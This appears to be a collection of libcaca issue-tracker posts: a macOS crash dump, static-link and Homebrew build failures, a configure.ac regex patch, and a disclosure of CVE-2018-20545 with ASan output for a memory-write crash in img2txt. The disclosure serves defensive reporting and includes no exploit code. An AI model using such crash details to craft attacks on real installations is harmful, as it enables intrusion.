0x7fff9b8f3000 - 0x7fff9b8f6fff libsystem_sandbox.dylib (460.50.4) <150A9D3D-F69E-32F7-8C7B-8E72CAAFF7E4> /usr/lib/system/libsystem_sandbox.dylib
0x7fff9bd2c000 - 0x7fff9bd31fff com.apple.ImageCapture (9.0 - 9.0) <ACECF0B7-7D92-3A22-BF47-E8FADF4C5378> /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/ImageCapture.framework/Versions/A/ImageCapture
0x7fff9be45000 - 0x7fff9be5cff7 libsystem_coretls.dylib (83.40.5) <C90DAE38-4082-381C-A185-2A6A8B677628> /usr/lib/system/libsystem_coretls.dylib
0x7fff9be66000 - 0x7fff9be7ffe7 libcompression.dylib (28) <F83F421D-115D-3457-A9AA-1BEB5070A30B> /usr/lib/libcompression.dylib
0x7fff9be89000 - 0x7fff9becaff7 libGLU.dylib (12.1) <CD7A5916-3E3C-3EF3-A275-B281016B99CB> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGLU.dylib
0x7fff9becb000 - 0x7fff9beceff7 libCoreFSCache.dylib (119.5) <2389D7DA-B8EF-3EB4-AAAF-FBEDE01CDECA> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCoreFSCache.dylib
0x7fff9bed8000 - 0x7fff9bf4dfff com.apple.framework.IOKit (2.0.2 - 1179.50.2) <A509D3AE-9D48-31B7-89C7-326A7A2007B2> /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
0x7fff9c025000 - 0x7fff9c027fff libsystem_coreservices.dylib (19.2) <1B3F5AFC-FFCD-3ECB-8B9A-5538366FB20D> /usr/lib/system/libsystem_coreservices.dylib
0x7fff9c028000 - 0x7fff9c2ceff7 com.apple.CoreData (120 - 641.3) <A29A5491-6169-372B-828F-84EE0CFD4BC4> /System/Library/Frameworks/CoreData.framework/Versions/A/CoreData
0x7fff9c2cf000 - 0x7fff9c303ff7 com.apple.CoreVideo (1.8 - 191.3) <1AA24A1B-CB84-3F6B-B6DE-11494542649C> /System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo
0x7fff9d05a000 - 0x7fff9d094fff com.apple.QD (3.12 - 302) <0FE53180-2895-3D14-A1E7-F82DE1D106E1> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/QD.framework/Versions/A/QD
0x7fff9d230000 - 0x7fff9d33eff3 com.apple.desktopservices (1.10.3 - 1.10.3) <3A6906D4-C0B8-30D1-B589-0466E5E42B69> /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/DesktopServicesPriv
0x7fff9d341000 - 0x7fff9d394ff7 libc++.1.dylib (120.1) <8FC3D139-8055-3498-9AC5-6467CB7F4D14> /usr/lib/libc++.1.dylib
0x7fff9d444000 - 0x7fff9d46dfff libsystem_info.dylib (477.50.4) <FAA9226D-64DE-3769-A6D8-6CABA4B7FF4D> /usr/lib/system/libsystem_info.dylib
0x7fff9d7e2000 - 0x7fff9d7e3fff libsystem_secinit.dylib (20) <32B1A8C6-DC84-3F4F-B8CE-9A52B47C3E6B> /usr/lib/system/libsystem_secinit.dylib
0x7fff9d7e6000 - 0x7fff9d7e6fff com.apple.CoreServices (728.12 - 728.12) <A4FFF004-53B0-3EAC-A13F-5416BFFD8886> /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices
0x7fff9d7e9000 - 0x7fff9d7ebfff com.apple.loginsupport (1.0 - 1) <9B2F5F9B-ED38-313F-B798-D2B667BCD6B5> /System/Library/PrivateFrameworks/login.framework/Versions/A/Frameworks/loginsupport.framework/Versions/A/loginsupport
0x7fff9d7ec000 - 0x7fff9d7f4fff com.apple.CoreServices.FSEvents (1223.10.1 - 1223.10.1) <7F5B7A23-BC1D-3FA9-A9B8-D534F1E1979A> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/FSEvents.framework/Versions/A/FSEvents
0x7fff9e17d000 - 0x7fff9e346ff7 com.apple.ImageIO.framework (3.3.0 - 1450) <14333D7C-1DB1-3928-AF9C-9470235ED2CF> /System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO
0x7fff9e406000 - 0x7fff9e40cfff com.apple.IOAccelerator (205.10 - 205.10) <E46ED853-C2CC-3F29-A7DD-5E9351A2E754> /System/Library/PrivateFrameworks/IOAccelerator.framework/Versions/A/IOAccelerator
0x7fff9e4f9000 - 0x7fff9e4fafff libffi.dylib (18.1) <5BA9612C-747E-33CE-9DB1-3C01ECF3041D> /usr/lib/libffi.dylib
0x7fff9e4fb000 - 0x7fff9e51dff7 com.apple.Sharing (442.13.6 - 442.13.6) <DDD2811C-6ECB-32F2-8EE1-69BF9657B4A8> /System/Library/PrivateFrameworks/Sharing.framework/Versions/A/Sharing
0x7fff9e51e000 - 0x7fff9e53afff com.apple.GenerationalStorage (2.0 - 239.1) <8C821448-4294-3736-9CEF-467C93785CB9> /System/Library/PrivateFrameworks/GenerationalStorage.framework/Versions/A/GenerationalStorage
0x7fff9e5ca000 - 0x7fff9e5eeff7 libJPEG.dylib (1450) <33C07EEE-95CB-33F7-87C1-09CE82F1E478> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib
0x7fff9e5ef000 - 0x7fff9e616fff com.apple.ChunkingLibrary (167 - 167) <AD7F285C-005E-36BB-98A3-5826413533BE> /System/Library/PrivateFrameworks/ChunkingLibrary.framework/Versions/A/ChunkingLibrary
0x7fff9ed89000 - 0x7fff9ee2dfff com.apple.Bluetooth (4.4.5 - 4.4.5f3) <141F2C36-70B6-32D3-A556-7A605832CDB3> /System/Library/Frameworks/IOBluetooth.framework/Versions/A/IOBluetooth
0x7fff9ee63000 - 0x7fff9ee67fff libGIF.dylib (1450) <49D45D41-11AD-38DC-BDC5-9EC57E3B8E30> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libGIF.dylib
0x7fff9ee68000 - 0x7fff9f296fff com.apple.vision.FaceCore (3.3.1 - 3.3.1) <E54028EA-4217-3078-A2B1-C52E4214D59E> /System/Library/PrivateFrameworks/FaceCore.framework/Versions/A/FaceCore
0x7fff9f70a000 - 0x7fff9f779fff com.apple.SearchKit (1.4.0 - 1.4.0) <F159A888-34CA-36F1-AC8E-EB1B38C9DFB3> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SearchKit.framework/Versions/A/SearchKit
0x7fff9f77a000 - 0x7fff9f788fff libxar.1.dylib (302) <03207F66-2C4A-3DBD-8D81-70F4C85903C4> /usr/lib/libxar.1.dylib
0x7fff9f789000 - 0x7fff9f7e7fff com.apple.SystemConfiguration (1.14 - 1.14) <D801FAD7-5A2D-3E5E-9F44-B6C9B8BEA747> /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
0x7fff9f96c000 - 0x7fff9f96cff7 libkeymgr.dylib (28) <8371CE54-5FDD-3CE9-B3DF-E98C761B6FE0> /usr/lib/system/libkeymgr.dylib
0x7fffa0176000 - 0x7fffa0189fff com.apple.CoreBluetooth (1.0 - 1) <E54CA9A2-A5C6-30C5-9D6E-8472DBA9371E> /System/Library/Frameworks/CoreBluetooth.framework/Versions/A/CoreBluetooth
0x7fffa01be000 - 0x7fffa01c3fff com.apple.DiskArbitration (2.7 - 2.7) <F55902AA-5316-3255-A701-FDED5B553065> /System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration
0x7fffa0217000 - 0x7fffa0285ff7 com.apple.ApplicationServices.ATS (377 - 394.4) <9779E916-0788-3CAC-B1EC-F68BCB12A2B6> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/ATS
0x7fffa054e000 - 0x7fffa0950fff libLAPACK.dylib (1162.2) <42238ED4-6B7A-39D0-BFF2-304A0C287213> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLAPACK.dylib
0x7fffa0968000 - 0x7fffa0981fff com.apple.CFOpenDirectory (10.11 - 194) <11F95672-55E0-3F9D-9171-5E8C56AEE948> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/Frameworks/CFOpenDirectory.framework/Versions/A/CFOpenDirectory
External Modification Summary:
Calls made by other processes targeting this process:
task_for_pid: 0
thread_create: 0
thread_set_state: 0
Calls made by this process:
task_for_pid: 0
thread_create: 0
thread_set_state: 0
Calls made by all processes on this machine:
task_for_pid: 12464
thread_create: 0
thread_set_state: 0
VM Region Summary:
ReadOnly portion of Libraries: Total=200.9M resident=0K(0%) swapped_out_or_unallocated=200.9M(100%)
Writable regions: Total=40.6M written=0K(0%) resident=0K(0%) swapped_out=0K(0%) unallocated=40.6M(100%)
VIRTUAL REGION
REGION TYPE SIZE COUNT (non-coalesced)
=========== ======= =======
Activity Tracing 2048K 2
Kernel Alloc Once 4K 2
MALLOC 28.5M 13
MALLOC guard page 32K 7
STACK GUARD 56.0M 2
Stack 8192K 2
VM_ALLOCATE 1800K 7
__DATA 13.4M 200
__LINKEDIT 92.8M 29
__TEXT 108.1M 202
__UNICODE 552K 2
shared memory 12K 4
=========== ======= =======
TOTAL 311.2M 460
Sorry but I'm french, and "caca" for a lib name... it's not possible :)
Hi,
Accessing http://caca.zoy.org/wiki/libcaca leads to 503 - Service Not Available
. Is it a temporary failure? Is the homepage is being changed?
The desert horizon and sand-ocean-horizon filters, gradients of blue for sky and ocean from the top with darker blue colors, till it hits the ground or the sea, and sand/terrain colors at the base. You just have to change colors for the whole width and calculate proportions on the height. Big sky, let's say 60%, and the rest to change colors for the ground (sand, terrain colors). Lettering with that kind of color filling were made famous in many ansi intros, games and demos, the first game that comes to mind is "California Games".
with dynamic it works, but with static:
$ ./configure --enable-static --disable-shared && make
CCLD bench
Undefined symbols for architecture x86_64:
"_CGDisplayPixelsHigh", referenced from:
_convert_NSRect in libcaca.a(libcaca_la-cocoa.o)
"_CGMainDisplayID", referenced from:
_convert_NSRect in libcaca.a(libcaca_la-cocoa.o)
"_GetCurrentProcess", referenced from:
_register_cocoa_app in libcaca.a(libcaca_la-cocoa.o)
"_NSApp", referenced from:
-[CacaWindowDelegate windowShouldClose:] in libcaca.a(libcaca_la-cocoa.o)
_cocoa_get_event in libcaca.a(libcaca_la-cocoa.o)
_register_cocoa_app in libcaca.a(libcaca_la-cocoa.o)
_create_application_menus in libcaca.a(libcaca_la-cocoa.o)
"_NSDefaultRunLoopMode", referenced from:
_cocoa_get_event in libcaca.a(libcaca_la-cocoa.o)
"_NSFontAttributeName", referenced from:
-[CacaView setFont:] in libcaca.a(libcaca_la-cocoa.o)
"_NSForegroundColorAttributeName", referenced from:
-[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
"_NSIntersectsRect", referenced from:
-[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
"_NSLog", referenced from:
-[CacaView keyDown:] in libcaca.a(libcaca_la-cocoa.o)
-[CacaView mouseMoved:] in libcaca.a(libcaca_la-cocoa.o)
"_NSRectFill", referenced from:
-[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
"_NSRectFillListWithColors", referenced from:
-[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
"_NSUnderlineStyleAttributeName", referenced from:
-[CacaView initWithFrame:] in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSApplication", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
l_OBJC_$_CATEGORY_NSApplication_$_Caca in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSAutoreleasePool", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSBundle", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSColor", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
l_OBJC_$_CATEGORY_NSColor_$_Caca in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSCursor", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSDate", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSEvent", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSFont", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSMenu", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSMenuItem", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSMutableDictionary", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSNumber", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSObject", referenced from:
_OBJC_CLASS_$_CacaWindowDelegate in libcaca.a(libcaca_la-cocoa.o)
_OBJC_CLASS_$_CacaAppDelegate in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSProcessInfo", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSString", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSView", referenced from:
_OBJC_CLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_CLASS_$_NSWindow", referenced from:
objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_IVAR_$_NSApplication._running", referenced from:
-[NSApplication(Caca) setRunning] in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_METACLASS_$_NSObject", referenced from:
_OBJC_METACLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
_OBJC_METACLASS_$_CacaWindowDelegate in libcaca.a(libcaca_la-cocoa.o)
_OBJC_METACLASS_$_CacaAppDelegate in libcaca.a(libcaca_la-cocoa.o)
"_OBJC_METACLASS_$_NSView", referenced from:
_OBJC_METACLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
"_SetFrontProcess", referenced from:
_register_cocoa_app in libcaca.a(libcaca_la-cocoa.o)
"_TransformProcessType", referenced from:
_register_cocoa_app in libcaca.a(libcaca_la-cocoa.o)
"___CFConstantStringClassReference", referenced from:
CFString in libcaca.a(libcaca_la-cocoa.o)
CFString in libcaca.a(libcaca_la-cocoa.o)
CFString in libcaca.a(libcaca_la-cocoa.o)
CFString in libcaca.a(libcaca_la-cocoa.o)
CFString in libcaca.a(libcaca_la-cocoa.o)
CFString in libcaca.a(libcaca_la-cocoa.o)
CFString in libcaca.a(libcaca_la-cocoa.o)
...
"__objc_empty_cache", referenced from:
_OBJC_CLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
_OBJC_METACLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
_OBJC_METACLASS_$_CacaWindowDelegate in libcaca.a(libcaca_la-cocoa.o)
_OBJC_CLASS_$_CacaWindowDelegate in libcaca.a(libcaca_la-cocoa.o)
_OBJC_METACLASS_$_CacaAppDelegate in libcaca.a(libcaca_la-cocoa.o)
_OBJC_CLASS_$_CacaAppDelegate in libcaca.a(libcaca_la-cocoa.o)
"_objc_msgSend", referenced from:
-[CacaView initWithFrame:] in libcaca.a(libcaca_la-cocoa.o)
-[CacaView dealloc] in libcaca.a(libcaca_la-cocoa.o)
-[CacaView setFont:] in libcaca.a(libcaca_la-cocoa.o)
-[CacaView resizeIfNeeded:] in libcaca.a(libcaca_la-cocoa.o)
-[CacaView updateBuffersFromCaca:] in libcaca.a(libcaca_la-cocoa.o)
-[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
+[NSColor(Caca) colorFromRgb12:] in libcaca.a(libcaca_la-cocoa.o)
...
"_objc_msgSendSuper2", referenced from:
-[CacaView initWithFrame:] in libcaca.a(libcaca_la-cocoa.o)
-[CacaView dealloc] in libcaca.a(libcaca_la-cocoa.o)
"_objc_msgSend_stret", referenced from:
-[CacaView setupNewSize] in libcaca.a(libcaca_la-cocoa.o)
-[CacaView setFont:] in libcaca.a(libcaca_la-cocoa.o)
_cocoa_get_display_width in libcaca.a(libcaca_la-cocoa.o)
_cocoa_get_display_height in libcaca.a(libcaca_la-cocoa.o)
_create_first_window in libcaca.a(libcaca_la-cocoa.o)
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
Hi,
I tried to build libcaca from git master on macOS. When I ran ./bootstrap then ./configure, I noticed this output:
./configure: line 19422: [: : integer expression expected
This is because darwin_ver is not set. Lines 19421-19422 in generated configure:
darwin_ver="$(echo "${target_os}" | sed -ne 's/^0-9*\(0-9\+\).*/\1/p')"
if [ "$darwin_ver" -lt "13" ]; then
from configure.ac:
Lines 299 to 300 in f42aa68
sed
command. And, actually, \+
does nothing in macOS sed (came from BSD sed). [0-9]\+
should be written as [0-9][0-9]*
.test
command is mainly used in configure.ac, I think it would be better to write if test
here too.
So, I'd like to propose this modification to configure.ac:
--- a/configure.ac
+++ b/configure.ac
@@ -296,8 +296,8 @@ if test "${enable_cocoa}" != "no"; then
esac
CC="${CC:-gcc-${GCC_VERSION}}"
CXX="${CXX:-g++-${GCC_VERSION}}"
- darwin_ver="$(echo "${target_os}" | sed -ne 's/[^0-9]*\([0-9]\+\).*/\1/p')"
- if [[ "$darwin_ver" -lt "13" ]]; then
+ darwin_ver="$(echo "${target_os}" | sed -ne 's/[[^0-9]]*\([[0-9]][[0-9]]*\).*/\1/p')"
+ if test "$darwin_ver" -lt "13"; then
MACOSX_SDK_FRAMEWORKS="${MACOSX_SDK_FRAMEWORKS:--F${MACOSX_SDK}/System/Library/Frameworks}"
CPPFLAGS="${CPPFLAGS} ${ARCH} ${MACOSX_SDK_FRAMEWORKS}"
CFLAGS="${CFLAGS} ${MACOSX_SDK_CFLAGS} -mmacosx-version-min=10.5"
It appears that this implementation of setRunning no longer works.
Similar issue: https://discourse.libsdl.org/t/sdl-1-3-cocoa-using-private-api/17955
xref. Homebrew/homebrew-core#89701
==> ./configure --disable-dependency-tracking --prefix=/opt/homebrew/Cellar/libcaca/0.99b20 --disable-csharp --disable-doc --disable-java --disable-python --disable-ruby --disable-slang --disable-x11
checking build system type... arm-apple-darwin20.6.0
checking host system type... arm-apple-darwin20.6.0
checking target system type... arm-apple-darwin20.6.0
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a race-free mkdir -p... ./.auto/install-sh -c -d
checking for gawk... no
checking for mawk... no
checking for nawk... no
checking for awk... awk
checking whether make sets $(MAKE)... yes
checking whether make supports nested variables... yes
checking whether UID '503' is supported by ustar format... yes
checking whether GID '20' is supported by ustar format... yes
checking how to create a ustar tar archive... gnutar
checking whether make supports the include directive... yes (GNU style)
checking for gcc... clang
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether the compiler supports GNU C... yes
checking whether clang accepts -g... yes
checking for clang option to enable C11 features... none needed
checking whether clang understands -c and -o together... yes
checking dependency style of clang... none
checking how to run the C preprocessor... clang -E
checking whether the compiler supports GNU C++... yes
checking whether clang++ accepts -g... yes
checking for clang++ option to enable C++11 features... none needed
checking dependency style of clang++... none
checking how to run the C++ preprocessor... clang++ -E
checking dependency style of clang... none
checking dependency style of clang... none
checking how to print strings... printf
checking for a sed that does not truncate output... /usr/bin/sed
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for fgrep... /usr/bin/grep -F
checking for ld used by clang... /Library/Developer/CommandLineTools/usr/bin/ld
checking if the linker (/Library/Developer/CommandLineTools/usr/bin/ld) is GNU ld... no
checking for BSD- or MS-compatible name lister (nm)... /usr/bin/nm -B
checking the name lister (/usr/bin/nm -B) interface... BSD nm
checking whether ln -s works... yes
checking the maximum length of command line arguments... 786432
checking how to convert arm-apple-darwin20.6.0 file names to arm-apple-darwin20.6.0 format... func_convert_file_noop
checking how to convert arm-apple-darwin20.6.0 file names to toolchain format... func_convert_file_noop
checking for /Library/Developer/CommandLineTools/usr/bin/ld option to reload object files... -r
checking for objdump... objdump
checking how to recognize dependent libraries... pass_all
checking for dlltool... no
checking how to associate runtime and link libraries... printf %s\n
checking for ar... ar
checking for archiver @FILE support... no
checking for strip... strip
checking for ranlib... ranlib
checking command to parse /usr/bin/nm -B output from clang object... ok
checking for sysroot... no
checking for a working dd... /bin/dd
checking how to truncate binary pipes... /bin/dd bs=4096 count=1
checking for mt... no
checking if : is a manifest tool... no
checking for dsymutil... dsymutil
checking for nmedit... nmedit
checking for lipo... lipo
checking for otool... otool
checking for otool64... no
checking for -single_module linker flag... yes
checking for -exported_symbols_list linker flag... yes
checking for -force_load linker flag... yes
checking for stdio.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for strings.h... yes
checking for sys/stat.h... yes
checking for sys/types.h... yes
checking for unistd.h... yes
checking for dlfcn.h... yes
checking for objdir... .libs
checking if clang supports -fno-rtti -fno-exceptions... yes
checking for clang option to produce PIC... -fno-common -DPIC
checking if clang PIC flag -fno-common -DPIC works... yes
checking if clang static flag -static works... no
checking if clang supports -c -o file.o... yes
checking if clang supports -c -o file.o... (cached) yes
checking whether the clang linker (/Library/Developer/CommandLineTools/usr/bin/ld) supports shared libraries... yes
checking dynamic linker characteristics... darwin20.6.0 dyld
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... yes
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... yes
checking how to run the C++ preprocessor... clang++ -E
checking for ld used by clang++... /Library/Developer/CommandLineTools/usr/bin/ld
checking if the linker (/Library/Developer/CommandLineTools/usr/bin/ld) is GNU ld... no
checking whether the clang++ linker (/Library/Developer/CommandLineTools/usr/bin/ld) supports shared libraries... yes
checking for clang++ option to produce PIC... -fno-common -DPIC
checking if clang++ PIC flag -fno-common -DPIC works... yes
checking if clang++ static flag -static works... no
checking if clang++ supports -c -o file.o... yes
checking if clang++ supports -c -o file.o... (cached) yes
checking whether the clang++ linker (/Library/Developer/CommandLineTools/usr/bin/ld) supports shared libraries... yes
checking dynamic linker characteristics... darwin20.6.0 dyld
checking how to hardcode library paths into programs... immediate
checking for an ANSI C-conforming const... yes
checking for inline... inline
checking for pkg-config... /opt/homebrew/Library/Homebrew/shims/mac/super/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking for suffix of libraries... .dylib.0
checking for stdio.h... (cached) yes
checking for stdarg.h... yes
checking for signal.h... yes
checking for sys/ioctl.h... yes
checking for sys/time.h... yes
checking for endian.h... no
checking for unistd.h... (cached) yes
checking for arpa/inet.h... yes
checking for netinet/in.h... yes
checking for winsock2.h... no
checking for errno.h... yes
checking for locale.h... yes
checking for getopt.h... yes
checking for dlfcn.h... (cached) yes
checking for termios.h... yes
checking for signal... yes
checking for ioctl... yes
checking for snprintf... yes
checking for sprintf_s... no
checking for vsnprintf... yes
checking for vsnprintf_s... no
checking for getenv... yes
checking for putenv... yes
checking for strcasecmp... yes
checking for htons... yes
checking for usleep... yes
checking for gettimeofday... yes
checking for atexit... yes
checking for _mingw.h... no
checking for getopt_long... yes
checking for Sleep... no
checking for fsin/fcos... no
checking for fldln2/fxch/fyl2x... no
checking for zlib.h... yes
checking for gzopen in -lz... yes
checking for sin in -lm... yes
checking for conio.h... no
checking for windows.h... no
checking for GL/gl.h... no
checking for OpenGL/gl.h... yes
checking for GL/glut.h... no
checking for ftgl >= 2.1.3... no
checking for Cocoa/Cocoa.h... yes
checking for ncursesw/ncurses.h... no
checking for ncurses/ncurses.h... no
checking for ncurses.h... yes
checking for initscr in -lncursesw... no
checking for initscr in -lncurses... yes
checking for resizeterm... yes
checking for resize_term... yes
checking valid output drivers... cocoa ncurses
checking whether compiler supports visibility annotations... no
checking working <iostream>... yes
checking available language bindings... C++
checking for sys/socket.h... yes
checking for imlib2... yes
checking for pangoft2... no
checking for zzuf... no
checking that generated files are newer than configure... done
configure: creating ./config.status
config.status: creating Makefile
config.status: creating kernel/Makefile
config.status: creating caca/Makefile
config.status: creating caca/t/Makefile
config.status: creating src/Makefile
config.status: creating examples/Makefile
config.status: creating tools/Makefile
config.status: creating java/Makefile
config.status: creating caca-sharp/Makefile
config.status: creating cxx/Makefile
config.status: creating python/Makefile
config.status: creating ruby/Makefile
config.status: creating doc/Makefile
config.status: creating build/Makefile
config.status: creating caca/caca.pc
config.status: creating caca-sharp/caca-sharp.dll.config
config.status: creating cxx/caca++.pc
config.status: creating doc/doxygen.cfg
config.status: creating caca-config
config.status: creating config.h
config.status: executing depfiles commands
config.status: executing libtool commands
==> make
/Library/Developer/CommandLineTools/usr/bin/make all-recursive
Making all in kernel
make[2]: Nothing to be done for `all'.
Making all in caca
Making all in .
CC libcaca_la-caca_conio.lo
CC libcaca_la-caca.lo
CC libcaca_la-canvas.lo
CC libcaca_la-string.lo
CC libcaca_la-dirty.lo
CC libcaca_la-caca0.lo
CC libcaca_la-transform.lo
CC libcaca_la-charset.lo
CC libcaca_la-attr.lo
CC libcaca_la-line.lo
CC libcaca_la-box.lo
CC libcaca_la-conic.lo
CC libcaca_la-triangle.lo
CC libcaca_la-frame.lo
CC libcaca_la-dither.lo
CC libcaca_la-font.lo
CC libcaca_la-file.lo
CC libcaca_la-figfont.lo
CC libcaca_la-graphics.lo
CC libcaca_la-event.lo
CC libcaca_la-time.lo
CC libcaca_la-prof.lo
CC libcaca_la-getopt.lo
CC driver/libcaca_la-ncurses.lo
CC driver/libcaca_la-null.lo
CC driver/libcaca_la-conio.lo
CC driver/libcaca_la-raw.lo
CC driver/libcaca_la-slang.lo
CC driver/libcaca_la-vga.lo
CC driver/libcaca_la-win32.lo
CC driver/libcaca_la-x11.lo
CC driver/libcaca_la-gl.lo
OBJC driver/libcaca_la-cocoa.lo
CC codec/libcaca_la-import.lo
CC codec/libcaca_la-export.lo
CC codec/libcaca_la-text.lo
driver/cocoa.m:399:5: error: use of undeclared identifier '_running'
_running = 1;
^
1 error generated.
make[3]: *** [driver/libcaca_la-cocoa.lo] Error 1
make[3]: *** Waiting for unfinished jobs....
make[2]: *** [all-recursive] Error 1
make[1]: *** [all-recursive] Error 1
make: *** [all] Error 2
ln -s ../Cellar/libcaca/0.99b20_3/bin/caca-config caca-config
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacaclock cacaclock
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacademo cacademo
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacafire cacafire
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacaplay cacaplay
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacaserver cacaserver
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacaview cacaview
ln -s ../Cellar/libcaca/0.99b20_3/bin/img2txt img2txt
ln -s ../Cellar/libcaca/0.99b20_3/include/caca++.h caca++.h
ln -s ../Cellar/libcaca/0.99b20_3/include/caca.h caca.h
ln -s ../Cellar/libcaca/0.99b20_3/include/caca0.h caca0.h
ln -s ../Cellar/libcaca/0.99b20_3/include/caca_conio.h caca_conio.h
ln -s ../Cellar/libcaca/0.99b20_3/include/caca_types.h caca_types.h
ln -s ../Cellar/libcaca/0.99b20_3/share/libcaca libcaca
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/caca-config.1 caca-config.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacademo.1 cacademo.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacafire.1 cacafire.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacaplay.1 cacaplay.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacaserver.1 cacaserver.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacaview.1 cacaview.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/img2txt.1 img2txt.1
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca++.0.dylib libcaca++.0.dylib
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca++.a libcaca++.a
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca++.dylib libcaca++.dylib
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca.0.dylib libcaca.0.dylib
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca.a libcaca.a
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca.dylib libcaca.dylib
ln -s ../../Cellar/libcaca/0.99b20_3/lib/pkgconfig/caca++.pc caca++.pc
ln -s ../../Cellar/libcaca/0.99b20_3/lib/pkgconfig/caca.pc caca.pc
Following vulnerability has been reported to Red Hat issue tracker:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20545
https://bugzilla.redhat.com/show_bug.cgi?id=1652621
./img2txt POC0
version: libcaca0.99beta19
Summary:
There is an illegal WRITE memory access at src/common-image.c:203 (function:load_image )in libcaca latest version.
Description:
The asan debug is as follows:
$./img2txt POC0
=================================================================
==28346==ERROR: AddressSanitizer: SEGV on unknown address 0x6020ffff0030 (pc 0x5643f5ff307a bp 0x603000000010 sp 0x7ffde48056e0 T0)
==28346==The signal is caused by a WRITE memory access.
#0 0x5643f5ff3079 in load_image /home/company/real/libcaca-master/src/common-image.c:203
#1 0x5643f5ff17c7 in main /home/company/real/libcaca-master/src/img2txt.c:171
#2 0x7fde504511c0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x211c0)
#3 0x5643f5ff1f09 in _start (/home/company/real/libcaca-master/install_asan/bin/img2txt+0x2f09)
AddressSanitizer can not provide additional info.
